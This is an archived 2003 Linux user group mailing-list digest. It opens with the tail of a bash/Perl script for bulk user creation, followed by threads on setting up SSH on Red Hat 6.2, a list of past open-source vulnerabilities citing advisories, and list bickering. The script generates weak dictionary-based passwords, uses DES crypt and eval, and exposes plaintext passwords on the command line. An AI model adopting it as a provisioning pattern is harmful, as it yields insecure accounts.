$# -gt 0 ]; do case "$1" in -t) test=1;; -S) samba=1;; -h) echo "$0 [-t] [-S] [useradd_options]" echo " -t Don't execute, just print commands" echo " -S Do smbpasswd" exit ;; *) options="$options $1";; esac shift done # This subroutine scans the passwd file to see if a user name ($id) exists function checkid() { grep -i "^$1:" /etc/passwd >/dev/null return } # Subroutine to pick a password function mkpasswd() { perl -e ' open(DICT, "/usr/share/dict/words"); # Find size of dictionary ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, $atime,$mtime,$ctime,$blksize,$blocks) = stat(DICT); $length=0; # Keep picking until we find one between 6 and 10 characters while ($length < 6 or $length > 10) { seek(DICT, rand($size), 0); ; $_=; chomp(); $line=$_; print STDERR $line; $line=$line.int(rand(89)+10); $length=length($line); } #return password print $line;' } # Subroutine to create crypt salt. function salt() { perl -e ' $table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./"; print(substr($table, rand(28)).substr($table, rand(28)));' } # Subroutine to encrypt the password. See crypt(3). function crypt() { perl -e 'print(crypt($ARGV[0], $ARGV[1]));' $1 $2 } function flast() { echo `expr "$1" : "\(.\)"``expr "$2" : "\(.\{1,7\}\)"` } function firstl() { echo `expr "$1" : "\(.\{1,7\}\)"``expr "$2" : "\(.\)"` } if [ -t 0 ]; then echo "Enter User-id First-Name Last-Name (ctrl-d to end)" fi while read id fname lname username passwd; do if [ `expr "$id" : "[0-9]*$"` -eq 0 ]; then echo "Invalid user id $id. Must be numeric" exit fi if [ $id -lt 0 -o $id -gt 65535 ]; then echo "Invalid user id $id. Must be in the range 0-65535" exit fi if [ `expr "$fname" : "[a-zA-Z]*$"` -eq 0 ]; then echo "Invalid first name $fname. Must be alphabetic" exit fi if [ `expr "$lname" : "[a-zA-Z]*$"` -eq 0 ]; then echo "Invalid last name $lname. Must be alaphabetic" exit fi if [ -z "$username" ]; then # create hash for user name # First try 7 characters of first name and first character of last name username=`flast $fname $lname` if checkid $username; then # next try first characters of first name and first 7 characters of last name username=`firstl $fname $lname` if checkid $username; then # Well, lets try a number after the first name x=1 while checkid $fname$x; do x=$(($x+1)) done username=$fname$x fi fi fi username=`echo $username | tr "[A-Z]" "[a-z]"` if grep ".*:.*:$id:" /etc/passwd >/dev/null; then echo "user id $id is already in use" exit fi if [ -z "$passwd" ]; then # perl script to pick a random password passwd=`mkpasswd` fi # Pick a random salt value for crypt salt=`salt` # Now we need to crypt(3) the password epasswd=`crypt $passwd $salt` cmd="/usr/sbin/useradd -u $id -m -c \"$fname $lname\" -p \"$epasswd\" $options $username" if [ "$test" = 1 ]; then echo "$cmd" else eval $cmd fi if [ "$samba" = 1 ]; then cmd="/usr/bin/smbpasswd -a $username $passwd" if [ "$test" = 1 ]; then echo "$cmd" else eval $cmd fi fi echo "$id $fname $lname $username $passwd" # loop till no more data done From waynej at dccmn.com Tue Aug 19 17:43:19 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:40:39 2005 Subject: [TCLUG] A new classified ad at TCLUG Classifieds In-Reply-To: <200308192033.h7JKXZi12825@crusader.real-time.com> References: <200308192033.h7JKXZi12825@crusader.real-time.com> Message-ID: <1301.192.1.1.23.1061332999.squirrel@dccmn.com> Try http://www.compgeeks.com/details.asp?invtid=5RJTAI-35500 At $17.99 it's a bargin. > A new TCLUG classified ad at was placed Tue Aug 19 15:33:35 2003. > > Name: Don~ > Category: computerwanted > Subject: External modem wanted > Ad: Wanted: New or \ > > To view this and other ads at TCLUG Classifieds, please visit: > http://www.mn-linux.org/cgi-bin/classifieds/classifieds.cgi > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Tue Aug 19 18:09:18 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:39 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing Message-ID: <3F42AE1E.60907@visi.com> OK so I'm having way to much fun being unemployed. With the opportunity to interview for a Director position :oD I've installed Cygwin in default mode and it works. Now I want to run X and use it to XTerm to my Linux box :-() Being of sound mind and after reading the instructions and understanding every word. "LMAO" I need to know what to do to get the Linux box configured. I just don't want to break anything on the Linux side or the W98 side as my wife uses this machine and I don't want to die. Any and all words of advice would be welcome and taken to heart. Sam. P.S. I might make it to the LUG beer fest! _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Tue Aug 19 20:06:05 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:39 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing References: <3F42AE1E.60907@visi.com> Message-ID: <01ad01c366b7$3b2d2ad0$0201a8c0@brinstar> Sam MacDonald writes: > I've installed Cygwin in default mode and it works. Now I want to > run X and use it to XTerm to my Linux box :-() I suggest using PuTTY to SSH into your Linux box. It is much simpler, uses far fewer resources and will provide a much better terminal. I like PuTTY more than any xterm I've ever used. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Tue Aug 19 20:12:28 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:39 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <01ad01c366b7$3b2d2ad0$0201a8c0@brinstar> References: <3F42AE1E.60907@visi.com> <01ad01c366b7$3b2d2ad0$0201a8c0@brinstar> Message-ID: <20030820011228.GU16729@autonomous.tv> On Tue, Aug 19, 2003 at 08:06:05PM -0500, David Phillips wrote: >Sam MacDonald writes: >> I've installed Cygwin in default mode and it works. Now I want to >> run X and use it to XTerm to my Linux box :-() > >I suggest using PuTTY to SSH into your Linux box. It is much simpler, uses >far fewer resources and will provide a much better terminal. I like PuTTY >more than any xterm I've ever used. Will putty forward X when there is no X locally? My understanding is that it will not. I believe you need to have the cygwin X installed locally to forward X applications using your preferred terminal. -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... 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My suggestion was to skip X entirely and use PuTTY instead of an inferior xterm. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Tue Aug 19 21:18:17 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:39 2005 Subject: [TCLUG] Rookie question - Pausing ls output References: <20030816221758.49dfc663.hackel@walkingfish.com> <20030817041433.GM13598@techmonkeys.org> <000601c36484$87b48040$0201a8c0@brinstar> <20030817062828.GN13598@techmonkeys.org> <3F3F8B9B.1070009@visi.com> <004201c364e4$c077e5b0$0201a8c0@brinstar> <20030818142959.GB23947@skuld.wookimus.net> Message-ID: <022201c366c1$515879e0$0201a8c0@brinstar> Chad Walstrom writes: > Nor does it provide context, references, or supporting documentation. > IOW, it's a potshot. The vsftpd changelog for release 0.0.15 documents a theoretical security fix regarding re-entrancy issues with signal handlers. The first release of Postfix used a world writable mail drop, which allows for four security holes: http://cr.yp.to/maildisasters/postfix.html See the bugtraq vulnerability database for several buffer overflows in various Apache components that allow remote users to take over the web server. Also see SECURITY in the changelog for more locally and remotely exploitable security holes. OpenSSL has had buffer overflows that were remotely exploitable in Apache and possibly other software: http://www.openssl.org/news/secadv_20020730.txt OpenSSH has had remotely exploitable vulnerabilities in both the server and client: http://www.openbsd.org/advisories/ssh_channelalloc.txt, http://www.openbsd.org/advisories/ssh_afstoken.txt BIND has had many remotely exploitable vulnerabilities, both in the server and client library: http://www.cert.org/incident_notes/IN-2001-03.html, http://www.cert.org/advisories/CA-2002-19.html Sendmail has had many remotely exploitable vulnerabilities: http://www.cert.org/advisories/CA-2003-07.html WU-FTPD has had many remotely exploitable vulnerabilities: http://isec.pl/vulnerabilities/isec-0011-wu-ftpd.txt MySQL has had remotely exploitable vulnerabilities, both in the server and client library: http://www.mysql.com/doc/en/News-3.23.54.html ProFTPD has had several remotely exploitable vulnerabilities: http://www.proftpd.org/security.html thttpd has had at least one remotely exploitable vulnerability: http://www.acme.com/software/thttpd/#releasenotes Exim has had locally and remotely exploitable vulnerabilities: http://www.securityfocus.com/bid/1859/discussion/, http://www.kb.cert.org/vuls/id/283723 PHP has had several remotely exploitable vulnerabilities: http://www.securityfocus.com/archive/1/283533/2002-07-19/2002-07-25/0 Linux has had exploitable security holes: http://archives.neohapsis.com/archives/vulnwatch/2003-q1/0134.html The FreeBSD kernel has had exploitable security holes: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:42.linux.asc The OpenBSD kernel has had exploitable security holes: http://www.phrack.org/phrack/60/p60-0x09.txt -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Tue Aug 19 21:31:25 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:39 2005 Subject: [TCLUG] [OT] Feeding Trolls: An useful activity? References: <20030818152447.GE23947@skuld.wookimus.net> Message-ID: <001801c366c3$27288a50$0201a8c0@brinstar> Chad Walstrom writes: > David's post wasn't part of the thread, and it made sweeping, stark > comments about security without giving supporting statements or > references. It was a troll. Please look up the definition of troll. Pay specific attention to the part about being ``intentionally incorrect''. Just because you are ignorant of or choose to ignore publicly documented information that is easily found using Google does not make me a troll. Also, please pay attention to the context of my message. It was a direct response to Sam MacDonald's statement of being tired of Microsoft providing security patches. Many popular pieces of open source software have had many security holes. Microsoft certainly does not have a monopoly on patching security holes. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Tue Aug 19 23:48:50 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:40:39 2005 Subject: [TCLUG] [OT] Feeding Trolls: An useful activity? In-Reply-To: <001801c366c3$27288a50$0201a8c0@brinstar> References: <20030818152447.GE23947@skuld.wookimus.net> <001801c366c3$27288a50$0201a8c0@brinstar> Message-ID: <1061354930.1010.133.camel@lotsa> On Tue, 2003-08-19 at 21:31, David Phillips wrote: > Please look up the definition of troll. I know you. Aren't you that plastic guy with the really long hair? -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 20 01:21:53 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:39 2005 Subject: [TCLUG] [OT] Feeding Trolls: An useful activity? In-Reply-To: <001801c366c3$27288a50$0201a8c0@brinstar> References: <20030818152447.GE23947@skuld.wookimus.net> <001801c366c3$27288a50$0201a8c0@brinstar> Message-ID: <3F431381.1050908@visi.com> David Phillips wrote: >Chad Walstrom writes: > > >>David's post wasn't part of the thread, and it made sweeping, stark >>comments about security without giving supporting statements or >>references. It was a troll. >> >> > >Please look up the definition of troll. Pay specific attention to the part >about being ``intentionally incorrect''. Just because you are ignorant of >or choose to ignore publicly documented information that is easily found >using Google does not make me a troll. > >Also, please pay attention to the context of my message. It was a direct >response to Sam MacDonald's statement of being tired of Microsoft providing >security patches. Many popular pieces of open source software have had many >security holes. Microsoft certainly does not have a monopoly on patching >security holes. > > > I guess when microsoft makes a mistake it effects more people. The fact that large numbers of people are effected is what causes me to be upset with microsoft. The fact that I know many windows SA's that stay up late and away from their families because of the software mistakes microsoft makes. Software is written by people so mistakes happen. Having a mistake or a software package made more important then my family or any family is both morally and ethically wrong. That is the real issue that I tried to address in a simple way. No one is perfect I should have been more clear. I would like the whole thing to be dropped, because it's becoming more then it needs or was intended to be. This is becoming bickering, I don't believe bickering is what this forum is about. Sharing ideas and helping "People" who are new to Linux or who just can't find the answer is what this forum should be about. Am I correct or am I wrong? In my opinion (what ever it's worth) as people who work in the information technology field, you should be more worried about your job being off-shored then who patches the most or least. That is a real issue because as I write some guy in India is doing work that any of us could do. But it costs one forth to do that job in India. That says that American business does not value American workers, it only values the bottom line. That friends, is bad for this country and every other country on this planet, enough said. YiS Sam. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 20 01:35:15 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:39 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <01c401c366bd$d6506170$0201a8c0@brinstar> References: <3F42AE1E.60907@visi.com> <01ad01c366b7$3b2d2ad0$0201a8c0@brinstar> <20030820011228.GU16729@autonomous.tv> <01c401c366bd$d6506170$0201a8c0@brinstar> Message-ID: <3F4316A3.4070803@visi.com> David Phillips wrote: >Spencer Butler writes: > > >>Will putty forward X when there is no X locally? My understanding is >>that it will not. I believe you need to have the cygwin X installed >>locally to forward X applications using your preferred terminal. >> >> > >You would have to have an X server running locally to display applications. >PuTTY supports this. Applications are run on the remote machine and display >on the local X server. > >My suggestion was to skip X entirely and use PuTTY instead of an inferior >xterm. > > > OK, so I down loaded Putty, clicked on the ssh radio button and got the following message. Connection Refused. So what now? Sam _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jspinti at dartdist.com Wed Aug 20 07:46:20 2003 From: jspinti at dartdist.com (James Spinti) Date: Mon Jan 17 12:40:39 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <3F4316A3.4070803@visi.com> References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> Message-ID: <200308200746.20784.jspinti@dartdist.com> On Wednesday 20 August 2003 01:35 am, Sam MacDonald wrote: > > OK, so I down loaded Putty, clicked on the ssh radio button and got the > following message. > Connection Refused. > So what now? > > Sam Do you have sshd running on the linux box? Is there a firewall on the linux box blocking port 22 (i.e., is iptables running)? -- Thanks, James Spinti jspinti at dartdist dot com 952-368-3278 ext 396 fax 952-368-3255 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Wed Aug 20 08:50:24 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:39 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <3F4316A3.4070803@visi.com> References: <3F42AE1E.60907@visi.com> <01ad01c366b7$3b2d2ad0$0201a8c0@brinstar> <20030820011228.GU16729@autonomous.tv> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> Message-ID: On Wed, 20 Aug 2003 01:35:15 -0500, Sam MacDonald wrote: > OK, so I down loaded Putty, clicked on the ssh radio button and got the > following message. > Connection Refused. > So what now? > > Sam do you have a ssh daemon running on the linux side? Try ps -ef |grep sshd on yer linux box to see if it's running - if not you'll prboably need to start it up or install it. Oh, you need to also enter in the host name or ip address in the "Host Nmae (or IP address)" box above the SSH radio button - but you probably did that... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 20 10:24:51 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:39 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <200308200746.20784.jspinti@dartdist.com> References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> <200308200746.20784.jspinti@dartdist.com> Message-ID: <3F4392C3.8030002@visi.com> No I don't have a fire wall running (thank you James Spinti) I did (as root) ps -ef grep | sshd (thank you Johnny Fulcrum) results root 27813 27782 0:09:04 tty1 00:00:00: grep sshd This is where I get lost because I don't know how to interpret the output of grep so... I did ps -ef | more This displayed all the processes, "sshd" is not on the list. So I do not have "sshd" running. Where did I put that CD... Sam. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Wed Aug 20 10:30:37 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <3F4392C3.8030002@visi.com> References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> Message-ID: <3F43941D.30209@druswanderings.net> Sam MacDonald wrote: > No I don't have a fire wall running (thank you James Spinti) > > I did (as root) ps -ef grep | sshd (thank you Johnny Fulcrum) > results The pipe "|" goes _before_ the grep command. What this does is send the output of the ps command to grep to use as input. Aahhhh, the beauty of *nix. If you get no output from "ps -ef | grep sshd", then the sshd server is not running or perhaps not installed. -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Wed Aug 20 11:02:10 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <3F4392C3.8030002@visi.com> References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> Message-ID: <1061395329.1010.152.camel@lotsa> On Wed, 2003-08-20 at 10:24, Sam MacDonald wrote: > No I don't have a fire wall running (thank you James Spinti) > > I did (as root) ps -ef grep | sshd (thank you Johnny Fulcrum) > results > root 27813 27782 0:09:04 tty1 00:00:00: grep sshd > > This is where I get lost because I don't know how to interpret the > output of grep so... Sam, The command is ps -ef | grep sshd You are Pipeing (| = pipe) the output of "ps -ef" through the grep command. "grep sshd" only shows you lines that have the the text "sshd" in them. When you run that command you are actually starting a process which contains the text "grep sshd". thats not the process your looking for :-). If sshd was running you'd get something like this. Process #656 is the ssh daemon. process 8232 results from my "ps -ef | grep sshd" command. $ ps -ef | grep sshd root 656 1 0 Aug17 ? 00:00:00 /usr/sbin/sshd tomp 8232 2550 0 10:50 pts/0 00:00:00 grep sshd Is this a redhat distro? If so check out "man chkconfig" to manage what starts at boot time. also "man ps" and "man grep" if you're interested. once you have the man page up you can find out what the -e flag does by typing "/-e". this will search the man page for "-e". then /-f to see what the -f flag is doing. -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jspinti at dartdist.com Wed Aug 20 11:16:26 2003 From: jspinti at dartdist.com (James Spinti) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <3F4392C3.8030002@visi.com> References: <3F42AE1E.60907@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> Message-ID: <200308201116.26867.jspinti@dartdist.com> On Wednesday 20 August 2003 10:24 am, Sam MacDonald wrote: > No I don't have a fire wall running (thank you James Spinti) > > I did (as root) ps -ef grep | sshd (thank you Johnny Fulcrum) > results > root 27813 27782 0:09:04 tty1 00:00:00: grep sshd > > This is where I get lost because I don't know how to interpret the > output of grep so... > > I did > ps -ef | more > This displayed all the processes, "sshd" is not on the list. > So I do not have "sshd" running. > Where did I put that CD... > > Sam. Are you still running RH 6.2? If so, it is probably installed. As root, run chkconfig --list. That will list all the available services and whether or not they are turned on and at which run levels. If it doesn't show up, then you will need to install it. To turn on sshd type chkconfig sshd on. That will turn it on the next time you restart. To start it now, as root type /etc/rc.d/init.d/sshd start (if you are running a newer version of RH, it is now /etc/initd/sshd, but I think the old syntax still works too). -- Thanks, James Spinti jspinti at dartdist dot com 952-368-3278 ext 396 fax 952-368-3255 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 20 11:37:38 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <200308201116.26867.jspinti@dartdist.com> References: <3F42AE1E.60907@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> <200308201116.26867.jspinti@dartdist.com> Message-ID: <3F43A3D2.50107@visi.com> I ran the "chkconfig --list | more" ssh is not installed. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Wed Aug 20 11:32:52 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <3F43941D.30209@druswanderings.net> References: <3F42AE1E.60907@visi.com> <01c401c366bd$d6506170$0201a8c0@brinstar> <3F4316A3.4070803@visi.com> <200308200746.20784.jspinti@dartdist.com> <3F4392C3.8030002@visi.com> <3F43941D.30209@druswanderings.net> Message-ID: On Wed, 20 Aug 2003 10:30:37 -0500, The Wandering Dru wrote: > Sam MacDonald wrote: > >> No I don't have a fire wall running (thank you James Spinti) >> >> I did (as root) ps -ef grep | sshd (thank you Johnny Fulcrum) >> results > > The pipe "|" goes _before_ the grep command. What this does is send the > output of the ps command to grep to use as input. Aahhhh, the beauty of > *nix. > > If you get no output from "ps -ef | grep sshd", then the sshd server is > not running or perhaps not installed. I should have said do a ps -ef |grep -v grep|grep sshd from the command line... in the original command I posted, the ps -ef lists out all the processes running - then grep or look through that output for the shhd command (if it shows up, then it's running).... BUT since we are running a command that has "sshd" as an "argument" it also shows up on the ps -ef out put!!!! (you saw this as root 27813 27782 0:09:04 tty1 00:00:00: grep sshd) Soooo.... we do a pipe to grep -v grep THEN a pipe to grep for sshd the grep -v grep says to list everything but stuff that has "grep" in it... so we won't see out grep sshd as one of the commands running.... Aaaahhhhh the beauty of *nix indeed! Having fun yet?!?! _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Wed Aug 20 12:45:47 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <200308201116.26867.jspinti@dartdist.com> Message-ID: On Wed, 20 Aug 2003, James Spinti wrote: > Are you still running RH 6.2? If so, it is probably installed. No, it probably isn't. 6.2 didn't come with OpenSSH; the original packages didn't even include OpenSSL (it was available later as an update). It's not unheard-of for people to roll their own OpenSSH RPMs for 6.2, though. (Not that I'd know, or anything. ;) Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 20 12:55:00 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: References: Message-ID: <3F43B5F4.2090105@visi.com> But if you go to this site http://www.sfu.ca/acs/ssh/ssh_linux.html You may find what you need. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 20 13:04:14 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <3F43B5F4.2090105@visi.com> References: <3F43B5F4.2090105@visi.com> Message-ID: <3F43B81E.5020503@visi.com> Sam MacDonald wrote: > But if you go to this site > http://www.sfu.ca/acs/ssh/ssh_linux.html > > You may find what you need. > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > No don't use this on RH 6.2 the rpm application in RH 6.2 can only do major versions. It's funny that the site I listed above exists. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Wed Aug 20 13:25:19 2003 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] RIAA, SCO, IBM, Red Hat, and Norm Coleman? Message-ID: I heard on MPR the other day that Norm Coleman and Permanent Subcommittee on Investigations are looking into the RIAA's planned lawsuits aimed at users of file sharing software. http://www.senate.gov/~coleman/newsroom/pressapp/record.cfm?id=208780 So I'm wondering, has anyone written a letter to Senator Coleman and other elected representatives? I started a rough draft today but I'm probally the worst person to write such a thing. Perhaps the TCLUG can get a group effort to get an informative, easy to read form letter together that we can send to Senator Coleman, the State Attorney General, and other officials? I'm willing to try if others are. :D Andrew S. Zbikowski | http://www.ringworld.org A password is like your underwear; Change it frequently, don't share it with others, and don't ask to borrow someone else's. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 20 13:48:43 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <3F43B81E.5020503@visi.com> References: <3F43B5F4.2090105@visi.com> <3F43B81E.5020503@visi.com> Message-ID: <3F43C28B.6090205@visi.com> OK I finally found what I needed. Check out this site if you need to run SSHd on RH 6.2 http://cleveland.lug.net/~ken/FAQ/ssh-install.html The instructions are not perfect but I figured them out an got ssh/sshd installed. When I run sshd I got the following. *** [root@imlidris ssh]# sshd Could not load host key: /etc/ssh/ssh_host_key Could not load host key: /etc/ssh/ssh_host_rsa_key Could not load host key: /etc/ssh/ssh_host_dsa_key Disabling protocol version 1. Could not load host key Disabling protocol version 2. Could not load host key sshd: no hostkeys available -- exiting. [root@imlidris ssh]# *** Now I'm looking at the sshd_conf and ssh_conf I'm not sure what to put in to or change in these to get it to work _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Wed Aug 20 13:56:12 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing In-Reply-To: <3F43C28B.6090205@visi.com> References: <3F43B5F4.2090105@visi.com> <3F43B81E.5020503@visi.com> <3F43C28B.6090205@visi.com> Message-ID: On Wed, 20 Aug 2003 13:48:43 -0500, Sam MacDonald wrote: > OK I finally found what I needed. > Check out this site if you need to run SSHd on RH 6.2 > http://cleveland.lug.net/~ken/FAQ/ssh-install.html > The instructions are not perfect but I figured them out an got ssh/sshd > installed. > When I run sshd I got the following. > *** > [root@imlidris ssh]# sshd > Could not load host key: /etc/ssh/ssh_host_key > Could not load host key: /etc/ssh/ssh_host_rsa_key > Could not load host key: /etc/ssh/ssh_host_dsa_key > Disabling protocol version 1. Could not load host key > Disabling protocol version 2. Could not load host key > sshd: no hostkeys available -- exiting. > [root@imlidris ssh]# Google on ssh-keygen you probably need to generate some keys..... > *** > Now I'm looking at the sshd_conf and ssh_conf > I'm not sure what to put in to or change in these to get it to work > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From troy.johnson at health.state.mn.us Wed Aug 20 11:06:14 2003 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 12:40:40 2005 Subject: [TCLUG] The Newbe Tries Another Linux Thing Message-ID: Sam, The command 'ps -ef' creates a bunch of output (a list of processes and their stats). The '|' (pipe) takes that output and feeds it to 'grep sshd'. 'grep sshd' looks at that output and prints lines containing the text 'sshd'. 